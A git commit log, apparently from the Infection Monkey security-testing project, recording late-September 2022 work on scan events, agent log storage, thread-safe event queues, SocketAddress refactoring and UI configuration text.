Mike Salvatore 79f56e0789 UT: Use constants for TCP and ping scan method names 2022-09-30 12:54:03 -04:00
Mike Salvatore 20b84aa1a4 UT: Use indirect instead of get_fixture_value() 2022-09-30 12:48:03 -04:00
Mike Salvatore a6d2f45cbb
Merge pull request #2380 from guardicore/2362-get-agents
2362 get agents
2022-09-30 12:37:23 -04:00
Mike Salvatore f89068ae00 Common: Register TCPScanEvent serializer 2022-09-30 12:36:32 -04:00
Mike Salvatore 521411c7fc Common: Register TCPScanEvent serializer 2022-09-30 12:35:57 -04:00
vakaris_zilius c16c093083 Common: Register PingScanEvent to event serializer 2022-09-30 12:33:22 -04:00
vakaris_zilius e2c86d3d7a Common: Register PingScanEvent to event serializer 2022-09-30 12:33:13 -04:00
Mike Salvatore 07fa283ce1 Island: Use container.resolve(ScanEventHandler) 2022-09-30 12:28:22 -04:00
Mike Salvatore 0c786dfd94 Island: Change method order in ScanEventHandler 2022-09-30 12:08:32 -04:00
Mike Salvatore f6e5462ad3 Island: Use sum() to count open ports 2022-09-30 12:06:09 -04:00
Mike Salvatore 9a6300481c
Merge pull request #2377 from guardicore/2267-publish-tcp-scan-event
Publish TCPScanEvent
2022-09-30 11:59:51 -04:00
Mike Salvatore 4987dddc0c Agent: Use dict comprehension instead of for 2022-09-30 11:53:53 -04:00
Mike Salvatore 68b288e5b3 Island: Add `GET /api/agents/` 2022-09-30 11:07:33 -04:00
Ilija Lazoroski 3f89e50930 UT: Fix tcp_scanner tests to patch the time function 2022-09-30 16:51:53 +02:00
Ilija Lazoroski 9154f6f9dc Agent: Generate timestamp when checking for tcp ports 2022-09-30 16:51:53 +02:00
Shreya Malviya 96af86f766 UT: Move variable to above fixtures in test_tcp_scanner.py 2022-09-30 16:51:53 +02:00
Shreya Malviya 9754b4731c UT: Mock AbstractAgentEvent's timestamp (time.time()) in test_tcp_scanner.py 2022-09-30 16:51:53 +02:00
Ilija Lazoroski 326b07e5c1 Island: Fix typo in ScanEventHandler docstring 2022-09-30 16:26:00 +02:00
Ilija Lazoroski d42a353aaa Island: Remove TypeError exception from ScanEventHandler 2022-09-30 16:23:04 +02:00
Ilija Lazoroski f23093dc78 Island: Remove handle_ping_scan_event callable class 2022-09-30 16:20:23 +02:00
Ilija Lazoroski 8002080c8b Island: Subscribe to Ping and TCP scan events with ScanEventHandlers 2022-09-30 16:18:49 +02:00
Ilija Lazoroski 2686a7a4ee UT: Add tests for ScanEventHandler 2022-09-30 16:18:49 +02:00
Ilija Lazoroski e4aec8b9a3 Island: Add ScanEventHandler to agent_event_handlers 2022-09-30 16:18:49 +02:00
Mike Salvatore 3b6e4f5313 Island: Simplify cursor to agents 2022-09-30 10:16:17 -04:00
Mike Salvatore 411b027e92 Island: Implement MongoAgentRepository.get_agents() 2022-09-30 10:15:31 -04:00
Mike Salvatore 84f21b0c1d Island: Add IAgentRepository.get_agents() 2022-09-30 10:15:18 -04:00
Mike Salvatore 61bda27d7f UT: Fix bug in test_handle_ping_scan_event test 2022-09-30 09:50:17 -04:00
Mike Salvatore 2142dce97e Island: Don't handle TypeError in handle_ping_scan_event 2022-09-30 09:49:54 -04:00
Shreya Malviya 0a11d34fb7 UT: Assert mock_agent_event_queue.publish's call args in test_tcp_scanner.py 2022-09-30 18:57:29 +05:30
Shreya Malviya 0bf9309e07 UT: Assert mock_agent_event_queue.publish's call counts in test_tcp_scanner.py 2022-09-30 18:57:29 +05:30
Shreya Malviya bab4ebc2bc Agent: Add 'source' field when creating TCPScanEvent in TCP scanner 2022-09-30 18:57:29 +05:30
Shreya Malviya 35d3038bc8 Agent: Create TCPScanEvent and return from _generate_tcp_scan_event() in TCP scanner 2022-09-30 18:57:29 +05:30
Shreya Malviya 58ddd6e47d Agent: Partially implement publishing TCPScanEvent in TCP scanner 2022-09-30 18:57:29 +05:30
Shreya Malviya a3ca21481e Agent: Add missing/fix existing type hints in TCP scanner 2022-09-30 18:57:29 +05:30
Mike Salvatore fa18cb72da Common: Use NetworkPort in ExploitationOptionsConfiguration 2022-09-30 09:15:50 -04:00
Mike Salvatore 1a01b7c5dc Common: Use NetworkPort in TCPScanConfiguration 2022-09-30 09:14:22 -04:00
Mike Salvatore 5fc4d52d9f Common: Allow 0 for NetworkPort
While TCP port 0 is reserved and you're not supposed to use it, it is a
valid port.
2022-09-30 09:12:25 -04:00
Mike Salvatore 9f3aaf970f Island: Remove disused/emtpy monkey_control package 2022-09-30 07:33:48 -04:00
VakarisZ 61d7050594
Merge pull request #2368 from guardicore/2268-update-nodes
2268 update nodes
2022-09-30 13:58:22 +03:00
vakarisz 7ed071b565 Common: Fix imports in ping_scan_event.py 2022-09-30 09:47:20 +03:00
dependabot[bot] 21656dabb4
Bump d3-color and d3 in /monkey/monkey_island/cc/ui
Bumps [d3-color](https://github.com/d3/d3-color) to 3.1.0 and updates ancestor dependency [d3](https://github.com/d3/d3). These dependencies need to be updated together.


Updates `d3-color` from 1.4.1 to 3.1.0
- [Release notes](https://github.com/d3/d3-color/releases)
- [Commits](https://github.com/d3/d3-color/compare/v1.4.1...v3.1.0)

Updates `d3` from 5.16.0 to 7.6.1
- [Release notes](https://github.com/d3/d3/releases)
- [Changelog](https://github.com/d3/d3/blob/main/CHANGES.md)
- [Commits](https://github.com/d3/d3/compare/v5.16.0...v7.6.1)

---
updated-dependencies:
- dependency-name: d3-color
  dependency-type: indirect
- dependency-name: d3
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
2022-09-30 01:20:57 +00:00
Mike Salvatore 5ab47fbdd3
Merge pull request #2373 from guardicore/2267-tcp-scan-event
2267 tcp scan event
2022-09-29 19:06:32 -04:00
Kekoa Kaaikala a267f02ca9 Island: Move param docstring to __call__ method 2022-09-29 19:47:32 +00:00
Kekoa Kaaikala c1dcb285ae UT: Properly group arrange/assert/act steps 2022-09-29 19:47:23 +00:00
Mike Salvatore f94ef035d6
Merge pull request #2374 from guardicore/2267-island-event-queue-threadsafe
2267 island event queue threadsafe
2022-09-29 15:43:45 -04:00
Mike Salvatore 31c97faf98
Merge pull request #2375 from guardicore/2267-tcp-scanner-accept-iagenteventqueue
2267 tcp scanner accept iagenteventqueue
2022-09-29 15:41:48 -04:00
Mike Salvatore c632b9b77b Island: Rename dest -> target 2022-09-29 15:09:29 -04:00
Mike Salvatore 2aa79331e3 Island: Extract method to improve readablility 2022-09-29 15:05:46 -04:00
Mike Salvatore 052c31e8ff Agent: Modify scan_tcp_ports() to accept an IAgentEventQueue 2022-09-29 14:45:24 -04:00
Kekoa Kaaikala c06d06edc4 UT: Fix storageerror test 2022-09-29 18:34:46 +00:00
Kekoa Kaaikala 783cc06c0d Common: Mitigate mypy errors from DIContainer 2022-09-29 18:34:46 +00:00
Kekoa Kaaikala 9a880123da UT: Fix failing tests 2022-09-29 18:34:46 +00:00
Kekoa Kaaikala d811c6548c Island: Prefer existing OS data to ping OS data
Co-authored-by: Mike Salvatore <mike.s.salvatore@gmail.com>
2022-09-29 18:34:46 +00:00
vakarisz 9b30770777 Island: Fix ping scan handler to add machines IP 2022-09-29 18:34:46 +00:00
vakarisz ff2b04c703 Common: Override target for PingScanEvent to more specific type hint 2022-09-29 18:34:46 +00:00
vakarisz 4d2a6083a1 Island: Fix a bug where failed ping scan created machines 2022-09-29 18:34:46 +00:00
vakarisz 3d80adbcd5 Common: Flatten the ping scan event 2022-09-29 18:34:46 +00:00
vakarisz 6aa69a10b6 Island: Setup ping scan event listener/handler 2022-09-29 18:32:51 +00:00
Kekoa Kaaikala 65d43575d1 UT: Make tests pass 2022-09-29 18:32:51 +00:00
vakarisz 168a5845fd UT: Fix and rename unit tests in test_handle_ping_scan_event.py 2022-09-29 18:32:51 +00:00
vakarisz b6d9f88dee Island: Style improvements in handle_ping_scan_event.py 2022-09-29 18:32:50 +00:00
vakarisz c807f97d18 Island: Rename handle_scan_data to handle_ping_scan_event 2022-09-29 18:32:50 +00:00
vakarisz ecb7ca0d8d Island: Subscribe ping scan events 2022-09-29 18:32:50 +00:00
Kekoa Kaaikala 799f08e383 UT: Implement test_handle_scan_data__upserts_machine_if_not_existed 2022-09-29 18:32:50 +00:00
Kekoa Kaaikala 29355e9d14 UT: Implement test_handle_scan_data__node_not_upserted_if_no_matching_machine 2022-09-29 18:32:50 +00:00
Kekoa Kaaikala 18ca84a247 UT: Implement test_handle_scan_data__node_not_upserted_if_no_matching_agent 2022-09-29 18:32:50 +00:00
Kekoa Kaaikala ce8219aa6d UT: Implement test_handle_scan_data__upserts_node 2022-09-29 18:32:50 +00:00
Kekoa Kaaikala ab32daa0e0 Common: Fix AbstractAgentEvent union 2022-09-29 18:32:50 +00:00
Kekoa Kaaikala 1c127781ca UT: Implement test_handle_scan_data__upserts_machine 2022-09-29 18:32:50 +00:00
Kekoa Kaaikala a0d6565c4a UT: Stub out unit tests for handle_scan_data 2022-09-29 18:32:50 +00:00
Kekoa Kaaikala 371ca12dfb Island: Add handle_scan_data to __init__.py 2022-09-29 18:32:50 +00:00
Kekoa Kaaikala 89c6e2b7bc Island: Extract methods in handle_scan_data 2022-09-29 18:32:50 +00:00
Kekoa Kaaikala eacd426969 Island: Handle StorageError in handle_scan_data 2022-09-29 18:32:50 +00:00
Kekoa Kaaikala 304dfbd21f Island: Add callable to handle PingScanEvent 2022-09-29 18:32:50 +00:00
Mike Salvatore 4b3402f7a8 UT: Move mock_agent_event_queue into conftest.py 2022-09-29 14:32:20 -04:00
Mike Salvatore b95baaba87 UT: Add tests for TCPScanEvent 2022-09-29 13:59:55 -04:00
Mike Salvatore 208ba1c2ab Common: Use lower-case member name for PortStatus values 2022-09-29 13:49:50 -04:00
Mike Salvatore 28026716db Project: Import NetworkPort in vulture_allowlist.py 2022-09-29 13:41:19 -04:00
Mike Salvatore 349b183e5d Common: Represent multiple ports in TCPScanEvent 2022-09-29 13:39:59 -04:00
Mike Salvatore ccaf0b63c6 Common: Remove banner from TCPScanEvent 2022-09-29 13:38:33 -04:00
Mike Salvatore 34ca127c6c Common: Capitalize TCP 2022-09-29 13:31:06 -04:00
Mike Salvatore ba7e44038c Common: Remove "service" from TCPScanEvent
It's not the responsibility of the agent to format this information for
display.
2022-09-29 13:29:43 -04:00
Mike Salvatore edaa7ec34d Common: Reword TCPScanEvent summary 2022-09-29 13:29:21 -04:00
Mike Salvatore 3dc6eba2da Common: Remove disused common/port_status.py
This was moved to common.types and should have been removed in
8ae11e94aa
2022-09-29 13:22:25 -04:00
Ilija Lazoroski 28ca462ce5 Common: Add TCPScanEvent to agent events 2022-09-29 13:19:25 -04:00
Ilija Lazoroski f62ab10d1c Common: Add NetworkPort type 2022-09-29 13:17:50 -04:00
Mike Salvatore 0207519343 Merge branch '2267-common-port-status' into develop 2022-09-29 13:15:38 -04:00
Mike Salvatore 8ae11e9faa Common,Agent: Move PortStatus to common.types 2022-09-29 13:15:03 -04:00
Ilija Lazoroski 18f8594deb Agent: Use common.PortStatus instead of i_puppet.PortStatus 2022-09-29 13:13:36 -04:00
Ilija Lazoroski c32013bf87 Common: Add PortStatus enum 2022-09-29 13:13:25 -04:00
Ilija Lazoroski 725c6d9419 UT: Make string ports to be integers
Pydantic converts strings to integer but if we enter
integers is safer.
2022-09-29 13:12:04 -04:00
Mike Salvatore 1b7c3be65b Island: Add missing return types 2022-09-29 12:43:23 -04:00
Mike Salvatore 82e08ba157 Island: Pass the same lock to agent and island event queues
Subscribers to the Agent and Island event queues manipulate some of the
same data structures. Sharing the same lock between the queues allows
this to happen in a thread-safe manner.
2022-09-29 12:40:18 -04:00
Mike Salvatore 00d72390ff Common: Accept a lock in LockingIslandEventQueueDecorator's constructor 2022-09-29 12:39:57 -04:00
Mike Salvatore 3344300f84 Common: Accept a lock in LockingAgentEventQueueDecorator's constructor 2022-09-29 12:39:17 -04:00
Mike Salvatore 91375cdff2 Island: Register a thread-safe IAgentEventQueue 2022-09-29 12:21:28 -04:00
Mike Salvatore 5d893d64cd Common: Add LockingAgentEventQueueDecorator 2022-09-29 12:16:00 -04:00
Mike Salvatore cb7add7e59 Island: Register a thread-safe IIslandEventQueue 2022-09-29 12:12:20 -04:00
Mike Salvatore 8ee14c4564 Island: Add LockingIslandEventQueueDecorator 2022-09-29 12:12:19 -04:00
Mike Salvatore 67c78abee1 Island: Add docstring to PyPubSubIslandEventQueue 2022-09-29 11:50:43 -04:00
Mike Salvatore 17017d6962 UT: Add missing SocketAddress tests for invalid ports 2022-09-29 11:37:54 -04:00
Mike Salvatore 64b9432bb9 UI: Capitalize "Agent" in info_box_scan_my_metworks 2022-09-29 09:21:12 -04:00
Mike Salvatore 5a0251c442
Merge pull request #2358 from guardicore/2268-modify-ping-scanner-with-agent-queue
2268 modify ping scanner with agent queue
2022-09-29 07:57:29 -04:00
Ilija Lazoroski 66e8032ef3 UT: Replace call_args comparison with assert_called_with in test_ping_scanner 2022-09-29 13:45:59 +02:00
Mike Salvatore 2ab86fa428 UT: Remove patch_get_agent_id()
1. This fixture was never actually executing
2. get_agent_id() always returns the same value (per process). This
   means that _get_ping_scan_event() and the ping scanner will receive
   the same value for any given test. In other words, mocking it is
   unnecessary.
2022-09-29 07:39:57 -04:00
Shreya Malviya 03ebdd461f UT: Check that correct events are published in test_ping_scanner.py 2022-09-29 15:34:07 +05:30
Shreya Malviya d78615fa92 UT: Add _get_ping_scan_event()to test_ping_scanner.py 2022-09-29 15:30:12 +05:30
Shreya Malviya 9f15bea5bd UT: Extract data to variables HOST_IP and TIMEOUT in test_ping_scanner.py 2022-09-29 15:27:55 +05:30
Shreya Malviya a65bbc592d UT: Check that publish is being called with expected event in test_linux_ping_success 2022-09-29 15:23:57 +05:30
Mike Salvatore 2eee427901 Agent: Generate PingScanEvent timestamp closer to ping command 2022-09-29 14:29:53 +05:30
Mike Salvatore 0cd8cd577d UT: Remove unnecessary tests from test_ping_scan_event.py
These tests are unnecessary because we will not use json() to convert to
JSON.
2022-09-29 14:29:53 +05:30
Mike Salvatore 6390993875 UT: Handle ValueError in test_construct_invalid_field__value_error() 2022-09-29 14:29:53 +05:30
Mike Salvatore d3c9691dfe UT: Add assertion to PingScanEvent serialization tests 2022-09-29 14:29:53 +05:30
Ilija Lazoroski 14f8014709 Agent: Save correct event timestamp in ping_scanner 2022-09-29 14:29:53 +05:30
Ilija Lazoroski d235e7a19e UT: Add unit tests for PingScanEvent 2022-09-29 14:29:53 +05:30
Ilija Lazoroski 478ea05fa9 Common: Override target in PingScanEvent 2022-09-29 14:29:52 +05:30
Ilija Lazoroski aa2b49bc66 Agent: Seperate the generation of PingScanEvents 2022-09-29 14:29:52 +05:30
Ilija Lazoroski 3202bfa2c1 Common: Flatten out PingScanEvent 2022-09-29 14:29:52 +05:30
Ilija Lazoroski 228ce9bae1 Agent: Publish PingScanEvent from ping_scanner 2022-09-29 14:29:52 +05:30
Ilija Lazoroski 0357d43d33 Agent: Accept IAgentEventQueue in Puppet constructor 2022-09-29 14:29:52 +05:30
Ilija Lazoroski ec56b15219 Agent: Pass IAgentEventQueue to the Puppet 2022-09-29 14:29:52 +05:30
Mike Salvatore ba0ffeacce Agent: Change method order 2022-09-29 14:29:52 +05:30
Mike Salvatore 082bb3bb6f Agent: Return a sequence from InfectionMonkey._build_server_list() 2022-09-29 14:29:52 +05:30
Mike Salvatore 5e129fd137 Agent: Use set comprehension instead of set(list()) 2022-09-29 14:29:52 +05:30
Ilija Lazoroski acf877f3d8 Common: Remove default from PingScanEvent 2022-09-29 14:29:52 +05:30
Ilija Lazoroski a44f763fab Common: Remove default from AbstractAgentEvent source field 2022-09-29 14:29:52 +05:30
Ilija Lazoroski 9ada95c126 Agent: Return set when building server list 2022-09-29 14:29:52 +05:30
Ilija Lazoroski 799aae4498 Common: Add default to PingScanEvent 2022-09-29 14:29:52 +05:30
Ilija Lazoroski b1b9eb394e Common: Add default to source in AbstractAgentEvent 2022-09-29 14:29:52 +05:30
Ilija Lazoroski 89397d8cbd Agent: Rename event_queue to agent_event_queue 2022-09-29 14:29:52 +05:30
Mike Salvatore 56ead43c11 Changelog: Add entry for #2299 2022-09-28 15:43:07 -04:00
Mike Salvatore 83f0ebfda4
Merge pull request #2356 from guardicore/2299-local-network-scan-ui-tooltip
Info box in UI for Scan Agent's networks
2022-09-28 15:41:09 -04:00
Mike Salvatore e8449817ad Island: Reword Scan Agent's networks tool tip wording 2022-09-28 15:38:05 -04:00
Mike Salvatore 1b4f72e5e3
Merge pull request #2364 from guardicore/2274-agent-logs-endpoint
Use new agent logs endpoint
2022-09-28 15:28:40 -04:00
Mike Salvatore ff8c8bd0a0 Agent: Use PUT instead of POST to send agent logs 2022-09-28 15:24:46 -04:00
Kekoa Kaaikala ab919f6d57 UI: Use colors from existing warning theme 2022-09-28 19:21:09 +00:00
Mike Salvatore 87d25d2ac8 Agent: Remove disused send_log() from ControlClient 2022-09-28 15:15:32 -04:00
Mike Salvatore fab67d893f Agent: Call IIslandAPIClient.send_log() directly
ControlClient is going away. It's been replaced by IIslandAPIClient.
Now is a good time to remove ControlClient.send_log()
2022-09-28 15:11:42 -04:00
Mike Salvatore a1516535f9 Agent: Add InfectionMonkey._agent_id attribute 2022-09-28 15:08:59 -04:00
Shreya Malviya 21f01292f7 Agent: Fix type hint in IIslandAPIClient.send_log() 2022-09-28 15:03:32 -04:00
Shreya Malviya 8dc8a516d5 Agent: Fix type hint in HTTPIslandAPIClient.send_log() 2022-09-28 15:03:32 -04:00
Shreya Malviya 29c08ff40c Agent: Simplify logic for sending logs in ControlClient 2022-09-28 15:03:32 -04:00
Shreya Malviya 8e3918cebe UT: Fix island_api_client.send_log() calls in test_http_island_api_client.py 2022-09-28 15:03:32 -04:00
Shreya Malviya 539f4e1c82 Agent: Fix self._island_api_client.send_log() call in ControlClient 2022-09-28 15:03:32 -04:00
Shreya Malviya 74e30a2f88 Agent: Update API endpoint in HTTPIslandAPIClient.send_log() 2022-09-28 15:03:32 -04:00
Shreya Malviya a9e1b99f2f Agent: Add agent_id parameter to IIslandAPIClient.send_log() 2022-09-28 15:03:32 -04:00
Mike Salvatore 4f3fd6987e Merge branch '2274-implement-new-agent-logs-endpoint' into develop
PR #2365
2022-09-28 14:19:21 -04:00
Kekoa Kaaikala 2f7f4fef9c UI: Fix warning icon spacing 2022-09-28 18:18:35 +00:00
Mike Salvatore 05b8f2bb4b Agent: Fix typo occured -> occurred 2022-09-28 14:17:04 -04:00
Mike Salvatore f7f4440b61 Island: Fix typo occured -> occurred 2022-09-28 14:15:41 -04:00
Mike Salvatore 078574998a
Merge pull request #2363 from guardicore/2274-file-agent-log-repo
FileAgentLogRepository
2022-09-28 14:11:31 -04:00
Mike Salvatore 93b0fe0f6e UT: Fix UnknownRecordError message in InMemoryAgentLogRepository 2022-09-28 14:10:30 -04:00
Kekoa Kaaikala 09cf2762f9 UI: Use yellow warning icon 2022-09-28 18:07:31 +00:00
Mike Salvatore 3202404e46 Changelog: Update agent-logs to use uuid instead of str
This was missed in 10954e0a6e.
2022-09-28 14:06:50 -04:00
Mike Salvatore c69a414a4d Island: Fix typo occured -> occurred 2022-09-28 14:06:09 -04:00
Mike Salvatore 2e8afe218e UT: Add test of multiple agent logs 2022-09-28 14:00:16 -04:00
Kekoa Kaaikala 4038622e83 UI: Remove redundant info from info box 2022-09-28 17:55:53 +00:00
Kekoa Kaaikala 05e9c2af62 UI: Add WarningBox 2022-09-28 17:40:56 +00:00
Mike Salvatore 412a58f1f2 UT: Use InMemoryFileRepository in test_file_agent_log_repository.py 2022-09-28 13:30:01 -04:00
Mike Salvatore bddee026fe UT: Add InMemoryFileRepository 2022-09-28 13:29:34 -04:00
Mike Salvatore 20d5fb3748 Island: Use re.Pattern for IFileRepository.delete_files_by_regex() 2022-09-28 13:29:07 -04:00
Mike Salvatore 0e2d82a7ad UT: Add comment 2022-09-28 12:57:21 -04:00
Mike Salvatore 35d0cbc3b0 UT: Add type hints to test_file_agent_log_repository.py 2022-09-28 12:55:58 -04:00
Mike Salvatore d49d16bc37 Island: Allow RepositoryErrors to be reraised
Previously, FileAgentLogRepository.get_agent_log() wrapped all errors as
RetrievalError, which is not necessarily correct. This commit allows all
repository errors raised by IFileRepository to be reraised, and all
other, unexpected errors to be reraised as RetrievalError.
2022-09-28 12:54:45 -04:00
Mike Salvatore 3c2ee32bdf Island: Add RepositoryError 2022-09-28 12:21:41 -04:00
Ilija Lazoroski 10954e0a6e Island: Use UUID for AgentSignals endpoint parameter 2022-09-28 16:45:28 +02:00
Ilija Lazoroski 1a8306af1b Island: Change log level in AgentLogs endpoint 2022-09-28 16:43:33 +02:00
Ilija Lazoroski d0293b4edc UT: Move and rename StubAgentLogRepository to InMemoryAgentLogRepository 2022-09-28 16:42:23 +02:00
Ilija Lazoroski e4d45b25cb Island: AgentLogs.GET to return 404 if not agent log is found 2022-09-28 16:42:23 +02:00
Ilija Lazoroski 96662f3f66 UT: Fix AgentLogs tests 2022-09-28 16:41:30 +02:00
Ilija Lazoroski b705e33af3 Island: Add AgentID type for agent_id to AgentLogs endpoint 2022-09-28 16:41:30 +02:00
Shreya Malviya e374341ce1 UT: Fix tests in test_file_agent_log_repository.py 2022-09-28 20:01:13 +05:30
Shreya Malviya 8f46b3b9fd Island: Make FileNotFoundError inherit UnknownRecordError instead of RetrievalError + add TODO for updating the rest of the code 2022-09-28 19:55:52 +05:30
Shreya Malviya 64990eea0e UT: Update tests as per changes to file repositories 2022-09-28 19:50:17 +05:30
Shreya Malviya 7823759cf8 Island: delete_files_by_pattern -> delete_files_by_regex 2022-09-28 19:50:17 +05:30
Shreya Malviya 2707605622 Island: Add AGENT_LOG_FILE_NAME_REGEX and modify some logic in FileAgentLogRepository 2022-09-28 19:50:13 +05:30
Shreya Malviya 1c486c6571 Island: Modify delete_files_by_pattern -> delete_files_by_regex in LocalStorageFileRepository 2022-09-28 19:27:25 +05:30
Mike Salvatore fa13ca8df8 Island: Rename agent_log -> log_contents 2022-09-28 09:31:38 -04:00
Shreya Malviya c5d26749b7 Island: Change agent log file name in FileAgentLogRepository 2022-09-28 18:29:53 +05:30
Shreya Malviya 30d3124cb4 UT: Fix assert logic in test_delete_files_by_pattern() 2022-09-28 18:28:05 +05:30
Ilija Lazoroski 08bc43e0c4 Changelog: Add entry for adding new AgentLogs endpoint 2022-09-28 14:57:09 +02:00
Ilija Lazoroski 546c44f501 UT: Add tests for AgentLogs endpoint 2022-09-28 14:55:37 +02:00
Ilija Lazoroski 89ae9824d0 Island: Add the new AgentLogs endpoint to the island 2022-09-28 14:53:24 +02:00
Ilija Lazoroski 543c063f7b Island: Add AgentLogs endpoint 2022-09-28 14:52:19 +02:00
Shreya Malviya f61e734d29 Island: Subscribe IAgentLogRepository.reset() to IslandEventTopic.CLEAR_SIMULATION_DATA 2022-09-28 17:53:30 +05:30
Shreya Malviya cadf0d61d0 Island: Implement delete_files_by_pattern() in FileRepositoryCachingDecorator 2022-09-28 16:26:37 +05:30
Shreya Malviya 5f11008b40 Island: Implement delete_files_by_pattern() in FileRepositoryLockingDecorator 2022-09-28 16:25:13 +05:30
Shreya Malviya d5b62651a0 Island: Implement delete_files_by_pattern() in FileRepositoryLoggingDecorator 2022-09-28 16:23:47 +05:30
Shreya Malviya 885a907287 UT: Add tests for delete_files_by_pattern() in LocalStorageFileRepository 2022-09-28 16:21:09 +05:30
Shreya Malviya 6aae63f9fc UT: Add tests for FileAgentLogRepository 2022-09-28 16:10:55 +05:30
Shreya Malviya c1a4641ffe UT: Add delete_files_by_pattern() to SingleFileRepository and MockFileRepository 2022-09-28 16:10:30 +05:30
Shreya Malviya e1d139fde4 Island: Add FileAgentLogRepository to cc/repository/__init__.py 2022-09-28 16:03:08 +05:30
Shreya Malviya 01d8875f22 Island: Register FileAgentLogRegister in DI container 2022-09-28 15:42:07 +05:30
Shreya Malviya 1c6cfa1ce6 Island: Add FileAgentLogRepository 2022-09-28 15:39:57 +05:30
Shreya Malviya ce0affb1ed Island: Implement delete_files_by_pattern() in LocalStorageFileRepository 2022-09-28 15:39:14 +05:30
Shreya Malviya d9b55a5c21 Island: Add delete_files_by_pattern() to IFileRepository 2022-09-28 15:35:58 +05:30
Shreya Malviya 8a96598d10 UI: Remove trailing comma in SCAN_TARGET_CONFIGURATION_SCHEMA 2022-09-28 13:08:03 +05:30
Shreya Malviya 98d01b5324 UI: Reword in SCAN_TARGET_CONFIGURATION_SCHEMA's info_box_scan_my_networks 2022-09-28 12:52:49 +05:30
Shreya Malviya 793a401a33 UI: Move and reword description in SCAN_TARGET_CONFIGURATION_SCHEMA 2022-09-28 12:43:01 +05:30
Shreya Malviya e32d5555fb UI: Move segmentation section in network configuration to the end 2022-09-28 12:36:12 +05:30
Mike Salvatore 699f2210f4
Merge pull request #2359 from guardicore/2318-powershell-bb-fix
2318 powershell bb fix
2022-09-27 19:37:46 -04:00
Ilija Lazoroski d7be8e2bc0 Island: Remove `log_contents` from Agent model 2022-09-27 12:52:24 -04:00
Kekoa Kaaikala bf7544c47a Common: Disable scan_my_networks by default 2022-09-27 15:43:43 +00:00
Kekoa Kaaikala ea94da9725
Merge pull request #2357 from guardicore/2299-update-network-config-docs
Docs: Update network scanning documentation
2022-09-27 11:10:12 -04:00
Kekoa Kaaikala e63409d1ad Docs: Update paths for custom-scenario 2022-09-27 14:39:15 +00:00
vakarisz 26a5b4cf4d BB: Delete "skip_powershell_reuse" mark
Not sure why we would want to skip this test specifically
2022-09-27 17:28:12 +03:00
vakarisz 164c0d6127 BB: Add network diagram for powershell credential reuse test 2022-09-27 17:11:08 +03:00
vakarisz 85c101aff9 BB: Remove 46 from depth 3 test suite as it's reserved for credential reuse 2022-09-27 17:06:39 +03:00
vakarisz 031a0ab426 BB: Change powershell credential reuse test to a dedicated machine
Island shouldn't be part of the test, so powershell credential reuse was moved to powershell 46(exploited via log4shell) and powershell 44(exploited via credential reuse from powershell 46)
2022-09-27 17:06:39 +03:00
Kekoa Kaaikala 036a382e95
Merge pull request #2354 from guardicore/2323-use-socketaddress-in-running_on_island
2323 use socketaddress in running on island
2022-09-27 09:44:04 -04:00
VakarisZ 9823301c3b
Merge pull request #2348 from guardicore/2299-rename-local-network-scan
Island: Rename local_network_scan
2022-09-27 16:00:36 +03:00
Shreya Malviya 085883d3a6 UI: Add info box for "Scan Agent's networks" option in configuration 2022-09-27 18:08:36 +05:30
Kekoa Kaaikala 21cbf8d38b
Merge pull request #2351 from guardicore/2323-update-iislandapiclient-with-socketaddress
2323 update iislandapiclient with socketaddress
2022-09-27 08:17:17 -04:00
Shreya Malviya 4f3a8a5b2f
Agent: Simplify logic in _build_server_list() in monkey/infection_monkey/monkey.py
Co-authored-by: VakarisZ <36815064+VakarisZ@users.noreply.github.com>
2022-09-27 17:17:09 +05:30
Shreya Malviya 3accaccceb Agent: Simplify logic to set self._island_address in InfectionMonkey 2022-09-27 17:06:42 +05:30
Kekoa Kaaikala c33189725d Agent: Update ControlClient to use SocketAddress 2022-09-27 17:01:47 +05:30
Kekoa Kaaikala 19dbf81fa3 Agent: Fix mypy issue 2022-09-27 17:01:39 +05:30
Shreya Malviya 688a41a11e BB: Rename local_network_scan -> scan_my_networks in test_configurations/noop.py 2022-09-27 16:32:09 +05:30
Shreya Malviya 80328159f0 Agent: Change return type hint of _get_segmentation_check_targets() to be more specific 2022-09-27 16:30:28 +05:30
Shreya Malviya 01f1d62272 UT: Simplify logic in test data in test_http_island_api_client.py 2022-09-27 16:19:23 +05:30
Shreya Malviya 6d63f3c378 Agent: Fix some logic caused by rebase 2022-09-27 16:17:04 +05:30
Kekoa Kaaikala aeef2cdcbe Agent: Update send_remove_from_waitlist_control_message_to_relays
Update send_remove_from_waitlist_control_message_to_relays to use
SocketAddress
2022-09-27 15:37:57 +05:30
Kekoa Kaaikala af8d3937be Agent: Use correct return type for _connect_to_island_api 2022-09-27 15:37:36 +05:30
Kekoa Kaaikala 110542eeb8 Common: Make SocketAddress hashable 2022-09-27 15:34:13 +05:30
Kekoa Kaaikala c4804f06a9 Agent: Use SocketAddress in IIslandAPIClient 2022-09-27 15:33:28 +05:30
ilija-lazoroski 90890106f7
Merge pull request #2355 from guardicore/2268-pingscanevent
2268 pingscanevent
2022-09-27 10:58:20 +02:00
vakarisz e2f0a2dfc0 Common: Improve comment's readability in agent_sub_configurations.py 2022-09-27 11:51:27 +03:00
Ilija Lazoroski c119406b2d Project: Add import for PingScanEvent 2022-09-27 10:50:23 +02:00
vakarisz b9cf200832 Agent: Change return typehint to be more specific 2022-09-27 11:50:20 +03:00
Ilija Lazoroski 7bb7ef7dce Common: Export PingScanEvent from __init__ 2022-09-27 10:49:40 +02:00
vakarisz 182a566087 Agent: Simplify scan_target_generator.py
The responsibility of type-hints are not to implement logic. Implementing logic via type-hints diminishes readability, because it forces you to cross-reference a class instead of just exposing the logic where it's used
2022-09-27 11:33:30 +03:00
Shreya Malviya 14999fba4e
Merge pull request #2353 from guardicore/2323-SocketAddress-in-AgentRegistrationData
SocketAddress in AgentRegistrationData
2022-09-27 13:56:16 +05:30
Shreya Malviya 9b4de6bab8 UT: Use SocketAddress.from_string() in test_handle_agent_registration.py 2022-09-27 13:11:13 +05:30
Shreya Malviya d1199fdab2 Agent: Simplify relay disconnect logic in network/relay/utils.py 2022-09-27 13:06:29 +05:30
Shreya Malviya 441c14f15d Use SocketAddress.from_string() in network/relay/utils.py 2022-09-27 12:56:10 +05:30
Shreya Malviya 1f80eac4b6 island: Remove unused import in cc/island_event_handlers/handle_agent_registration.py 2022-09-27 12:51:49 +05:30
Shreya Malviya 8b0ebfc3a7 UT: Add/modify tests as per SocketAddress related changes 2022-09-27 12:51:49 +05:30
